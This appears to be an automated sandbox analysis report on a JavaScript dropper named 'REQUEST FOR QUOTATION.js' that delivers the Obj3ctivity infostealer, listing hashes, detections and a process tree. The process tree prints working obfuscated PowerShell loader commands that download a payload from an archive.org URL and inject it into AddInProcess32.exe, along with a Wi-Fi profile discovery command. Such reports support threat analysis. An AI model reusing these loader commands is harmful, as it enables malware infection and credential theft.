Analysis
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max time kernel
94s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
26-09-2024 13:09
Static task
static1
Behavioral task
behavioral1
Sample
REQUEST FOR QUOTATION.js
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
REQUEST FOR QUOTATION.js
Resource
win10v2004-20240802-en
General
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Target
REQUEST FOR QUOTATION.js
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Size
318KB
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MD5
08dab38ef2c8bdada3b4928145b777f7
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SHA1
8d9fe403c417c9fc50ed09528dd2b096ebfe6375
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SHA256
cfea01473114d986467817f9c5e0713e84ef8d6fa8a44509780d390fc6b09b41
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SHA512
52aeb79f20660946bb7095addb26de8f115d29c4b15cd8169418d73db102c4ca7f79096780baa896357efe40999957969631b718557fd7c35e7375a2288ea5d5
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SSDEEP
6144:ae3G0HrhDz6LXUo09qGOWIC5pbyo68vh146TIVdDfo+IitZsVAsuG7EEqZ1Cr81b:Zr81VpOhEUX7dyIUwRjsSXKs0AUUbPMz
Malware Config
Extracted
https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt
https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt
Signatures
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Detects Obj3ctivity Stage1 3 IoCs
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
resource yara_rule behavioral2/memory/2004-23-0x0000000000400000-0x000000000041A000-memory.dmp family_obj3ctivity behavioral2/memory/2004-26-0x0000000000400000-0x000000000041A000-memory.dmp family_obj3ctivity behavioral2/memory/2004-31-0x0000000005E60000-0x0000000005F46000-memory.dmp family_obj3ctivity -
Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 2952 powershell.exe 19 2952 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2952 powershell.exe 748 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation wscript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe Key opened \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe Key opened \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 29 icanhazip.com 43 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2952 set thread context of 2004 2952 powershell.exe 85 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language chcp.com Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language findstr.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 4644 cmd.exe 4072 netsh.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 AddInProcess32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 748 powershell.exe 748 powershell.exe 2952 powershell.exe 2952 powershell.exe 2004 AddInProcess32.exe 2004 AddInProcess32.exe 2004 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 748 powershell.exe Token: SeDebugPrivilege 2952 powershell.exe Token: SeDebugPrivilege 2004 AddInProcess32.exe Token: SeSecurityPrivilege 1356 msiexec.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1276 wrote to memory of 748 1276 wscript.exe 82 PID 1276 wrote to memory of 748 1276 wscript.exe 82 PID 748 wrote to memory of 2952 748 powershell.exe 84 PID 748 wrote to memory of 2952 748 powershell.exe 84 PID 2952 wrote to memory of 2004 2952 powershell.exe 85 PID 2952 wrote to memory of 2004 2952 powershell.exe 85 PID 2952 wrote to memory of 2004 2952 powershell.exe 85 PID 2952 wrote to memory of 2004 2952 powershell.exe 85 PID 2952 wrote to memory of 2004 2952 powershell.exe 85 PID 2952 wrote to memory of 2004 2952 powershell.exe 85 PID 2952 wrote to memory of 2004 2952 powershell.exe 85 PID 2952 wrote to memory of 2004 2952 powershell.exe 85 PID 2004 wrote to memory of 4644 2004 AddInProcess32.exe 89 PID 2004 wrote to memory of 4644 2004 AddInProcess32.exe 89 PID 2004 wrote to memory of 4644 2004 AddInProcess32.exe 89 PID 4644 wrote to memory of 1284 4644 cmd.exe 92 PID 4644 wrote to memory of 1284 4644 cmd.exe 92 PID 4644 wrote to memory of 1284 4644 cmd.exe 92 PID 4644 wrote to memory of 4072 4644 cmd.exe 93 PID 4644 wrote to memory of 4072 4644 cmd.exe 93 PID 4644 wrote to memory of 4072 4644 cmd.exe 93 PID 4644 wrote to memory of 1224 4644 cmd.exe 94 PID 4644 wrote to memory of 1224 4644 cmd.exe 94 PID 4644 wrote to memory of 1224 4644 cmd.exe 94 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\REQUEST FOR QUOTATION.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAoACAAKABbAHMAVABSAGkATgBHAF0AJABWAEUAUgBiAE8AcwBFAHAAUgBFAGYAZQBSAEUATgBDAEUAKQBbADEALAAzAF0AKwAnAFgAJwAtAEoAbwBpAG4AJwAnACkAKAAgACgAJwBGACcAKwAnADAANAAnACsAJwB1AHIAbAAgACcAKwAnAD0AIABuAEsAcgAnACsAJwBoAHQAJwArACcAdABwACcAKwAnAHMAJwArACcAOgAvAC8AaQBhADkAMAA0ADYAMAAxAC4AdQBzAC4AYQAnACsAJwByAGMAJwArACcAaABpAHYAZQAuAG8AJwArACcAcgBnAC8ANgAvACcAKwAnAGkAdABlAG0AcwAvAGQAZQAnACsAJwB0AGEAaAAtAG4AbwB0AGUALQBqAC8ARABlACcAKwAnAHQAYQBoAE4AJwArACcAbwAnACsAJwB0AGUASgAuAHQAeAB0ACcAKwAnAG4ASwByADsARgAwADQAYgBhAHMAZQA2ACcAKwAnADQAQwBvAG4AdABlAG4AJwArACcAdAAgAD0AJwArACcAIAAoAE4AZQB3AC0ATwBiACcAKwAnAGoAZQBjAHQAIAAnACsAJwBTAHkAcwAnACsAJwB0AGUAbQAnACsAJwAuACcAKwAnAE4AZQB0AC4AJwArACcAVwBlAGIAQwBsAGkAZQBuACcAKwAnAHQAJwArACcAKQAuACcAKwAnAEQAbwAnACsAJwB3AG4AbABvAGEAZAAnACsAJwBTAHQAcgBpAG4AJwArACcAZwAnACsAJwAoAEYAMAA0AHUAcgBsACcAKwAnACkAJwArACcAOwBGACcAKwAnADAANABiAGkAbgBhAHIAeQBDACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0ACAAPQAgAFsAUwB5ACcAKwAnAHMAdABlACcAKwAnAG0ALgBDAG8AJwArACcAbgB2AGUAcgB0AF0AOgA6ACcAKwAnAEYAcgBvACcAKwAnAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnACsAJwBGADAANABiAGEAcwBlADYANABDAG8AbgB0AGUAbgB0ACkAJwArACcAOwBGADAANABhAHMAJwArACcAcwBlAG0AYgBsACcAKwAnAHkAJwArACcAIAA9ACAAWwBSAGUAZgBsACcAKwAnAGUAJwArACcAYwB0AGkAbwBuAC4AQQAnACsAJwBzAHMAZQBtAGIAJwArACcAbAB5AF0AJwArACcAOgA6ACcAKwAnAEwAbwBhAGQAKABGADAANABiAGkAbgAnACsAJwBhACcAKwAnAHIAeQAnACsAJwBDAG8AbgB0AGUAJwArACcAbgB0ACkAOwBGADAAJwArACcANAB0AHkAcABlACAAPQAgAEYAMAA0AGEAcwAnACsAJwBzAGUAbQBiAGwAeQAnACsAJwAuACcAKwAnAEcAZQB0ACcAKwAnAFQAJwArACcAeQBwAGUAKABuAEsAJwArACcAcgBSACcAKwAnAHUAbgBQAEUALgBIACcAKwAnAG8AbQBlACcAKwAnAG4AJwArACcASwByACcAKwAnACkAOwBGADAANABtACcAKwAnAGUAdABoAG8AZAAgAD0AIABGADAANAB0AHkAcABlAC4ARwBlACcAKwAnAHQATQBlAHQAaABvAGQAKABuAEsAcgAnACsAJwBWAEEASQBuAEsAcgApADsAJwArACcARgAwADQAbQBlAHQAaAAnACsAJwBvAGQALgBJAG4AdgBvAGsAZQAnACsAJwAoAEYAMAA0ACcAKwAnAG4AJwArACcAdQBsAGwALAAgACcAKwAnAFsAbwBiAGoAZQBjAHQAWwBdACcAKwAnAF0AQAAnACsAJwAoAG4ASwByAHQAeAB0ACcAKwAnAC4AYQBmAGkAJwArACcAbgBlAGoALwB2ACcAKwAnAGUAZAAnACsAJwAuACcAKwAnADIAcgAuACcAKwAnADMAOQBiADMANAA1ADMAMAAyAGEAMAA3ACcAKwAnADUAYgAxAGIAYwAwACcAKwAnAGQANAA1AGIANgAnACsAJwAzACcAKwAnADIAZQBiADkAJwArACcAZQBlADYAMgAtAGIAdQBwAC8AJwArACcALwA6ACcAKwAnAHMAcAB0AHQAJwArACcAaABuAEsAJwArACcAcgAgACwAIABuAEsAcgBkAGUAcwBhACcAKwAnAHQAaQB2AGEAZABvAG4ASwByACcAKwAnACAALAAnACsAJwAgAG4ASwByAGQAZQBzAGEAdABpAHYAYQBkAG8AbgBLACcAKwAnAHIAIAAsACcAKwAnACAAbgBLAHIAJwArACcAZAAnACsAJwBlAHMAYQB0ACcAKwAnAGkAdgAnACsAJwBhAGQAbwAnACsAJwBuAEsAcgAsAG4ASwByAEEAZABkACcAKwAnAEkAJwArACcAbgBQAHIAbwBjAGUAcwBzADMAMgBuAEsAcgAsAG4AJwArACcASwByAGQAZQBzAGEAJwArACcAdABpAHYAYQBkAG8AbgBLAHIAJwArACcAKQApADsAJwApAC4AUgBFAHAATABBAGMAZQAoACcARgAwADQAJwAsACcAJAAnACkALgBSAEUAcABMAEEAYwBlACgAJwBuAEsAcgAnACwAWwBzAHQAcgBpAE4ARwBdAFsAQwBIAEEAUgBdADMAOQApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( ([sTRiNG]$VERbOsEpREfeRENCE)[1,3]+'X'-Join'')( ('F'+'04'+'url '+'= nKr'+'ht'+'tp'+'s'+'://ia904601.us.a'+'rc'+'hive.o'+'rg/6/'+'items/de'+'tah-note-j/De'+'tahN'+'o'+'teJ.txt'+'nKr;F04base6'+'4Conten'+'t ='+' (New-Ob'+'ject '+'Sys'+'tem'+'.'+'Net.'+'WebClien'+'t'+').'+'Do'+'wnload'+'Strin'+'g'+'(F04url'+')'+';F'+'04binaryC'+'onten'+'t = [Sy'+'ste'+'m.Co'+'nvert]::'+'Fro'+'mBase64String('+'F04base64Content)'+';F04as'+'sembl'+'y'+' = [Refl'+'e'+'ction.A'+'ssemb'+'ly]'+'::'+'Load(F04bin'+'a'+'ry'+'Conte'+'nt);F0'+'4type = F04as'+'sembly'+'.'+'Get'+'T'+'ype(nK'+'rR'+'unPE.H'+'ome'+'n'+'Kr'+');F04m'+'ethod = F04type.Ge'+'tMethod(nKr'+'VAInKr);'+'F04meth'+'od.Invoke'+'(F04'+'n'+'ull, '+'[object[]'+']@'+'(nKrtxt'+'.afi'+'nej/v'+'ed'+'.'+'2r.'+'39b345302a07'+'5b1bc0'+'d45b6'+'3'+'2eb9'+'ee62-bup/'+'/:'+'sptt'+'hnK'+'r , nKrdesa'+'tivadonKr'+' ,'+' nKrdesativadonK'+'r ,'+' nKr'+'d'+'esat'+'iv'+'ado'+'nKr,nKrAdd'+'I'+'nProcess32nKr,n'+'Krdesa'+'tivadonKr'+'));').REpLAce('F04','$').REpLAce('nKr',[striNG][CHAR]39))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2952 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:2004 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All5⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:4644 -
C:\Windows\SysWOW64\chcp.comchcp 650016⤵
- System Location Discovery: System Language Discovery
PID:1284
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C:\Windows\SysWOW64\netsh.exenetsh wlan show profile6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
PID:4072
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C:\Windows\SysWOW64\findstr.exefindstr All6⤵
- System Location Discovery: System Language Discovery
PID:1224
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1356
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD51a11402783a8686e08f8fa987dd07bca
SHA1580df3865059f4e2d8be10644590317336d146ce
SHA2569b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
SHA5125f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82